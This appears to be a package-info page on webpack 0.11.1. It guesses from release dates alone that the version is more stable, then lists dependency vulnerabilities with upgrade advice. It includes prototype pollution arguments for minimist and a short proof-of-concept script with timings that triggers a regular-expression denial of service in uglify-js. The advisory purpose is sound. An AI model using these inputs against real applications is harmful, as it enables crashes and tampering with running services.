Webpack version 0.11.1 is a minor update to the popular module bundler, released shortly after version 0.11.0. Both versions share the same core functionality: packing CommonJs/AMD modules for the browser, supporting code splitting for on-demand loading, and utilizing loaders to preprocess files like JSON, Jade, CoffeeScript, CSS, and Less. The dependency lists for both versions remain identical, including crucial packages like async, clone, uglify-js, and enhanced-resolve, ensuring stability and consistent performance. The devDependencies, which are tools used for development and testing, are also unchanged between the two versions. These include testing frameworks like mocha and should, along with loaders that are commonly used for development.
The key difference lies in the release date, with version 0.11.1 arriving just a few days after 0.11.0. This suggests that version 0.11.1 likely contains bug fixes and small improvements that address issues discovered in the initial release. Developers using Webpack should consider upgrading to version 0.11.1 to benefit from these potential enhancements. When choosing between the two, the newer version offers a likely more stable experience.
All the vulnerabilities related to the version 0.11.1 of the package
Prototype Pollution in minimist
Affected versions of minimist are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of Object, causing the addition or modification of an existing property that will exist on all objects.
Parsing the argument --__proto__.y=Polluted adds a y property with value Polluted to all objects. The argument --__proto__=Polluted raises and uncaught error and crashes the application.
This is exploitable if attackers have control over the arguments being passed to minimist.
Upgrade to versions 0.2.1, 1.2.3 or later.
Prototype Pollution in minimist
Minimist prior to 1.2.6 and 0.2.4 is vulnerable to Prototype Pollution via file index.js, function setKey() (lines 69-95).
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.